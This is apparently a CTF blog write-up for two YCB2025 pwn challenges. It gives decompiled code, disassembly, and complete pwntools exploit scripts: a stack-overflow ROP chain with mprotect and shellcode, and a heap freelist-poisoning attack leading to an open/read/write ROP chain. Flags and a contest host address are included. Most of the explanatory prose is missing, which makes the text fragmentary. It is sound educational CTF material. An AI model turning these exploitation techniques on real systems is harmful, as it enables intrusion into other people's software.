┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: 2025 
[]
~ CuB3y0nd
# stack

## Information

- Category: Pwn
- Points: 500

## Description

> 

## Write-up

 MCP 


```c
__int64 init()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  *(_QWORD *)&random_seed = time(0);
  srand(random_seed);
  for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
  global_buffer = malloc(0x1000u);
  sub_1396();
  memset(global_buffer, 0, 0x2000u);
  global_buffer = (char *)global_buffer - 672;
  buffer_ptr_offset = (__int64)global_buffer + 256;
  *((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096;
  *(_QWORD *)(buffer_ptr_offset + 8) = sub_132E;
  counter_n2 = 0;
  return 0;
}
```

 `init`  `sub_1396`  `open`  `execve`
 orw  `openat`  `open` `sendfile`  `read``write` 


_PS:  `syscall` gadget read  SROP 
 SROP 
_

```c
__int64 vuln()
{
  puts("Welcome to YCB2025!");
  puts("Good luck!");
  read(0, global_buffer, 0x2000u);
  if ( (unsigned __int64)counter_n2 > 2 )
  {
    puts("Bye~");
    exit(0);
  }
  ++counter_n2;
  return 0;
}
```

MCP  `main_addr_multiplied`
 main 便
 main 
便

```c
// positive sp value has been detected, the output may be wrong!
__int64 sub_1357()
{
  printf("magic number:%lldn", main_addr_multiplied);
  return vuln();
}
```

 `init`  $[3, 4]$

```c
  for ( n2 = 0; n2 <= 2; n2 = rand() % 5 )
    ;
  main_addr_multiplied = (_QWORD)main * n2;
```

 rdi  gadgets, 
使 `stdout`  `stdout`  l
ibc 

```c
FILE **sub_12C9()
{
  FILE **result; // rax

  result = (FILE **)qword_4090;
  if ( !qword_4090 )
  {
    qword_4090 = 1;
    p_stdout = (__int64)&stdout;
    return &stdout;
  }
  return result;
}
```



```c {10-13} showLineNumbers=false
.text:00000000000012C9 ; FILE **sub_12C9()
.text:00000000000012C9 sub_12C9        proc near
.text:00000000000012C9 ; __unwind {
.text:00000000000012C9                 endbr64
.text:00000000000012CD                 sub     rsp, 8
.text:00000000000012D1                 mov     rax, cs:qword_4090
.text:00000000000012D8                 test    rax, rax
.text:00000000000012DB                 jnz     short loc_1329
.text:00000000000012DD                 mov     cs:qword_4090, 1
.text:00000000000012E8                 lea     rax, stdout
.text:00000000000012EF                 mov     cs:p_stdout, rax
.text:00000000000012F6                 mov     rax, cs:p_stdout
.text:00000000000012FD                 lea     rdx, stdout     ; rtld_fini
.text:0000000000001304                 cmp     rax, rdx
.text:0000000000001307                 jnz     short loc_1312
.text:0000000000001309                 mov     rax, cs:p_stdout
.text:0000000000001310                 jmp     short loc_1329
.text:0000000000001312 ; -------------------------------------------------------
--------------------
.text:0000000000001312
.text:0000000000001312 loc_1312:                               ; CODE XREF: sub_
12C9+3E↑j
.text:0000000000001312                 mov     cs:qword_4090, 0FFFFFFFFFFFFFFFFh
.text:000000000000131D                 call    start
.text:0000000000001322 ; -------------------------------------------------------
--------------------
.text:0000000000001322                 mov     eax, 0
.text:0000000000001327                 jmp     short $+2
.text:0000000000001329 ; -------------------------------------------------------
--------------------
.text:0000000000001329
.text:0000000000001329 loc_1329:                               ; CODE XREF: sub_
12C9+12↑j
.text:0000000000001329                                         ; sub_12C9+47↑j .
..
.text:0000000000001329                 add     rsp, 8
.text:000000000000132D                 retn
.text:000000000000132D ; } // starts at 12C9
```

 `rax`, `rdx`  `stdout`  `cmp`  `jnz`

 libc  `puts` rax 
 rdi  `puts` 

 `puts`  rax `puts` 


```c {8-9} showLineNumbers=false
.text:000000000000161F ; __int64 vuln()
.text:000000000000161F vuln            proc near               ; CODE XREF: sub_
1357+32↑p
.text:000000000000161F                                         ; main+17↓p
.text:000000000000161F ; __unwind {
.text:000000000000161F                 endbr64
.text:0000000000001623                 push    rbp
.text:0000000000001624                 lea     rax, aWelcomeToYcb20 ; "Welcome t
o YCB2025!"
.text:000000000000162B                 mov     rdi, rax        ; s
.text:000000000000162E                 call    _puts
.text:0000000000001633                 lea     rax, aGoodLuck  ; "Good luck!"
.text:000000000000163A                 mov     rdi, rax        ; s
.text:000000000000163D                 call    _puts
.text:0000000000001642                 mov     rax, cs:global_buffer
.text:0000000000001649                 mov     edx, 2000h      ; nbytes
.text:000000000000164E                 mov     rsi, rax        ; buf
.text:0000000000001651                 mov     edi, 0          ; fd
.text:0000000000001656                 call    _read
.text:000000000000165B                 mov     rax, cs:counter_n2
.text:0000000000001662                 cmp     rax, 2
.text:0000000000001666                 jbe     short loc_1681
.text:0000000000001668                 lea     rax, aBye_0     ; "Bye~"
.text:000000000000166F                 mov     rdi, rax        ; s
.text:0000000000001672                 call    _puts
.text:0000000000001677                 mov     edi, 0          ; status
.text:000000000000167C                 call    _exit
```

 puts  read `mprotect`  bss 
 `read`  shellcode  bss bss 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    asm,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = "./Stack_Over_Flow"
HOST, PORT = "45.40.247.139", 25201

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x108,
        b"x5f",
    )
    # raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    target.recvuntil(b"magic number:")
    elf.address = (int(target.recvline().strip()) // 3) - 0x16B0
    target.success(f"pie: {hex(elf.address)}")

    control_rdi = elf.address + 0x12E8
    payload = flat(
        b"A" * 0x108,
        control_rdi,
        0,
        elf.address + 0x162B,  # puts
    )
    # raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    target.recvline()
    libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78
0
    target.success(f"libc: {hex(libc.address)}")

    rop = ROP(libc)
    payload = flat(
        b"A" * 0x108,
        # mprotect
        libc.address + 0x378DF,  # nop; ret
        libc.address + 0x378DF,  # nop; ret
        rop.rdi.address,
        elf.address + 0x4000,
        rop.rsi.address,
        0x1337,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x7,
        0,
        rop.rax.address,
        0xA,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rdi.address,
        0,
        rop.rsi.address,
        elf.bss() + 0x500,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x1337,
        0,
        rop.rax.address,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        elf.bss() + 0x500,
    )

    raw_input("DEBUG")
    target.sendafter(b"Good luck!", payload)

    payload = asm("""
        mov rax, 0x67616c66
        push rax
        xor edi, edi
        sub edi, 100
        mov rsi, rsp
        xor edx, edx
        xor r10, r10
        mov eax, 0x101
        syscall

        mov edi, 1
        mov esi, 3
        push 0
        mov rdx, rsp
        mov r10, 0x1337
        mov rax, 0x28
        syscall
    """)
    target.send(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`DASCTF{86480848618847093058521417023694}`]

# malloc

## Information

- Category: Pwn
- Points: 500

## Description

> 

## Write-up

 `malloc`  `free` `create`  `chunk_idx
`  `0x10``chunk_pointers`  16  QWORD 0-15
 `chunk_idx`  `0x10` malloc  `g_chunk_sizes[0]`



```c
__int64 init()
{
  int i; // [rsp+4h] [rbp-Ch]
  __int64 seccomp_ctx; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  g_arena_top = (__int64)&g_heap_base;
  g_heap_size_limit = 4096;
  g_current_heap_offset = 4096;
  for ( i = 0; i <= 15; ++i )
    g_freelists[i] = 0;
  seccomp_ctx = seccomp_init(2147418112);
  seccomp_rule_add(seccomp_ctx, 0, 59, 0);
  seccomp_rule_add(seccomp_ctx, 0, 322, 0);
  return seccomp_load(seccomp_ctx);
}
```

```c
unsigned __int64 create()
{
  unsigned int chunk_idx_1; // ebx
  char newline_char; // [rsp+Fh] [rbp-21h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF
  unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-18h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10
    && (puts("size"), __isoc99_scanf("%u%c", &chunk_size, &newline_char), chunk_
size <= 0x70)
    && chunk_size > 0xF )
  {
    chunk_idx_1 = chunk_idx;
    *((_QWORD *)&g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size);
    *((_QWORD *)&g_heap_base + chunk_idx + 528) = chunk_size;
    puts("Success");
  }
  else
  {
    puts("Invalid");
  }
  return canary - __readfsqword(0x28u);
}
```

```c
__int64 __fastcall do_malloc(unsigned int requested_size)
{
  signed int aligned_size; // [rsp+1Ch] [rbp-14h]
  unsigned int remainder_size; // [rsp+20h] [rbp-10h]
  int freelist_idx; // [rsp+24h] [rbp-Ch]
  __int64 allocated_chunk; // [rsp+28h] [rbp-8h]
  __int64 g_arena_top; // [rsp+28h] [rbp-8h]

  remainder_size = requested_size & 0xF;
  if ( remainder_size > 8 )
    aligned_size = requested_size - remainder_size + 32;
  else
    aligned_size = requested_size - remainder_size + 16;
  freelist_idx = aligned_size / 16;
  if ( g_freelists[aligned_size / 16] )
  {
    allocated_chunk = g_freelists[freelist_idx];
    g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16);
    *(_BYTE *)allocated_chunk = 1;
    return allocated_chunk + 16;
  }
  else
  {
    if ( aligned_size >= (unsigned __int64)g_heap_size_limit )
    {
      puts("malloc(): corrupted top chunks");
      exit(0);
    }
    g_arena_top = g_arena_top;
    *(_BYTE *)g_arena_top = 1;
    *(_DWORD *)(g_arena_top + 8) = aligned_size;
    g_arena_top += aligned_size;
    g_heap_size_limit -= aligned_size;
    *(_DWORD *)(g_arena_top + 8) = g_heap_size_limit;
    return g_arena_top + 16;
  }
}
```

```c
unsigned __int64 delete()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10 )
  {
    do_free(chunk_idx);
    *((_QWORD *)&g_heap_base + chunk_idx + 528) = 0;
    puts("Success");
  }
  else
  {
    puts("Invalid index");
  }
  return canary - __readfsqword(0x28u);
}
```

```c
__int64 __fastcall do_free(unsigned int chunk_idx)
{
  int chunk_size_val; // kr08_4
  __int64 chunk_header_ptr_2; // rax
  int freelist_walk_count; // [rsp+14h] [rbp-1Ch]
  __int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h]
  _BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h]

  chunk_header_ptr = (_BYTE *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 16L
L);
  chunk_size_val = *(_DWORD *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 8LL
);
  **((_QWORD **)&g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 1
6];
  g_freelists[chunk_size_val / 16] = chunk_header_ptr;
  *chunk_header_ptr = 0;
  freelist_walk_count = 0;
  chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL);
  chunk_header_ptr_1 = chunk_header_ptr_2;
  while ( freelist_walk_count <= 13 && chunk_header_ptr_1 )
  {
    if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr )
    {
      puts("free(): double free or corruption (fast)");
      exit(0);
    }
    chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16);
    chunk_header_ptr_1 = chunk_header_ptr_2;
    ++freelist_walk_count;
  }
  return chunk_header_ptr_2;
}
```

```c
unsigned __int64 edit()
{
  char newline_char; // [rsp+Fh] [rbp-11h] BYREF
  unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10
    && *((_QWORD *)&g_heap_base + chunk_idx + 512)
    && (puts("size"),
        __isoc99_scanf("%u%c", nbytes, &newline_char),
        nbytes[0] <= *((__int64 *)&g_heap_base + chunk_idx + 528)) )
  {
    read(0, *((void **)&g_heap_base + chunk_idx + 512), nbytes[0]);
    puts("Success");
  }
  else
  {
    puts("Invalid");
  }
  return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u);
}
```

```c
unsigned __int64 show()
{
  char newline_char; // [rsp+3h] [rbp-Dh] BYREF
  unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("Index");
  __isoc99_scanf("%u%c", &chunk_idx, &newline_char);
  if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) )
  {
    puts(*((const char **)&g_heap_base + chunk_idx + 512));
    puts("Success");
  }
  else
  {
    puts("Invalid index");
  }
  return canary - __readfsqword(0x28u);
}
```

```asm showLineNumbers=false
.data:0000000000004008 ; void *off_4008
.data:0000000000004008 off_4008        dq offset off_4008      ; DATA XREF: sub_
1200+1B↑r
.data:0000000000004008                                         ; .data:off_4008↓
o
.data:0000000000004010                 align 20h
.data:0000000000004020 g_arena_top     dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: init
+6D↑w
.data:0000000000004020                                         ; init+7F↑r ...
.data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init
+74↑w
.data:0000000000004028                                         ; do_malloc+D1↑r 
...
.data:0000000000004030                 align 20h
.data:0000000000004040 ; _QWORD g_freelists[16]
.data:0000000000004040 g_freelists     dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0)
.data:0000000000004040                                         ; DATA XREF: init
+A6↑o
.data:0000000000004040                                         ; do_malloc+56↑o 
...
.data:0000000000004040 _data           ends
.data:0000000000004040
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./pwn_patched"
HOST, PORT = "45.40.247.139", 17742

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def menu(option):
    target.recvuntil(b"=======================")
    target.sendline(str(option).encode())


def create(idx, size):
    menu(1)
    target.sendlineafter(b"Index", str(idx).encode())
    target.sendlineafter(b"size", str(size).encode())
    target.recvlines(2)


def delete(idx):
    menu(2)
    target.sendlineafter(b"Index", str(idx).encode())
    target.recvlines(2)


def edit(idx, size, data):
    menu(3)
    target.sendlineafter(b"Index", str(idx).encode())
    target.sendlineafter(b"size", str(size).encode())
    target.sendline(data)


def show(idx):
    menu(4)
    target.sendlineafter(b"Index", str(idx).encode())


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    create(0, 0x70)
    create(1, 0x70)
    delete(1)
    delete(0)

    # raw_input("DEBUG")
    show(0)
    target.recvline()
    elf.address = int.from_bytes(target.recvline().strip(), "little") - 0x5280

    stderr = elf.address + 0x40E0
    arr = elf.address + 0x6200

    target.success(f"pie: {hex(elf.address)}")
    target.success(f"arr: {hex(arr)}")
    target.success(f"stderr: {hex(stderr)}")

    create(0, 0x70)
    create(1, 0x70)
    delete(0)
    delete(1)
    # raw_input("DEBUG")
    create(0x10, 0x70)
    edit(0, 0x10, flat(stderr - 0x40))

    # raw_input("DEBUG")
    create(0, 0x70)
    create(2, 0x70)

    edit(2, 0x10, b"A" * 15)
    show(2)
    target.recvlines(2)
    libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78
0
    target.success(f"libc: {hex(libc.address)}")

    create(3, 0x70)
    delete(0)
    delete(3)
    create(0x10, 0x70)
    edit(0, 0x10, flat(libc.sym["environ"] - 0x20))

    create(0, 0x70)
    create(4, 0x70)
    edit(4, 0x10, b"A" * 15)
    show(4)

    target.recvline()
    target.recvline()
    stack = int.from_bytes(target.recvline().strip(), "little")
    ret = stack - 0x140
    target.success(f"stack: {hex(stack)}")
    target.success(f"ret: {hex(ret)}")

    create(5, 0x70)
    delete(0)
    delete(5)
    create(0x10, 0x70)
    edit(0, 0x10, flat(ret - 0xA0))

    create(5, 0x70)
    create(0, 0x70)
    create(0x10, 0x70)

    edit(5, 0x10, b"flagx00x00x00x00")

    flag = elf.address + 0x5210

    rop = ROP(libc)
    payload = flat(
        # open
        rop.rax.address,
        2,
        rop.rdi.address,
        flag,
        rop.rsi.address,
        0,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # read
        rop.rax.address,
        0,
        rop.rdi.address,
        3,
        rop.rsi.address,
        flag,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x100,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
        # write
        rop.rax.address,
        1,
        rop.rdi.address,
        1,
        rop.rsi.address,
        flag,
        rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0],
        0x100,
        0,
        rop.find_gadget(["syscall", "ret"])[0],
    )

    raw_input("DEBUG")
    edit(
        0,
        0x200,
        b"A" * 0x60 + payload,
    )

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`DASCTF{21569291958017220875601963459603}`]

#  bb

 stack  malloc patch 
…… `./libc.so.6: version 'GLIBC_ABI_DT_RELR' not found (required by 
/usr/lib/libseccomp.so.2)`怀 glibc 


 docker pwn  5 
 Dockerfile 
 archlinux  pwndocker +  vim 
 exp……

 p  vm  30  MC
P ……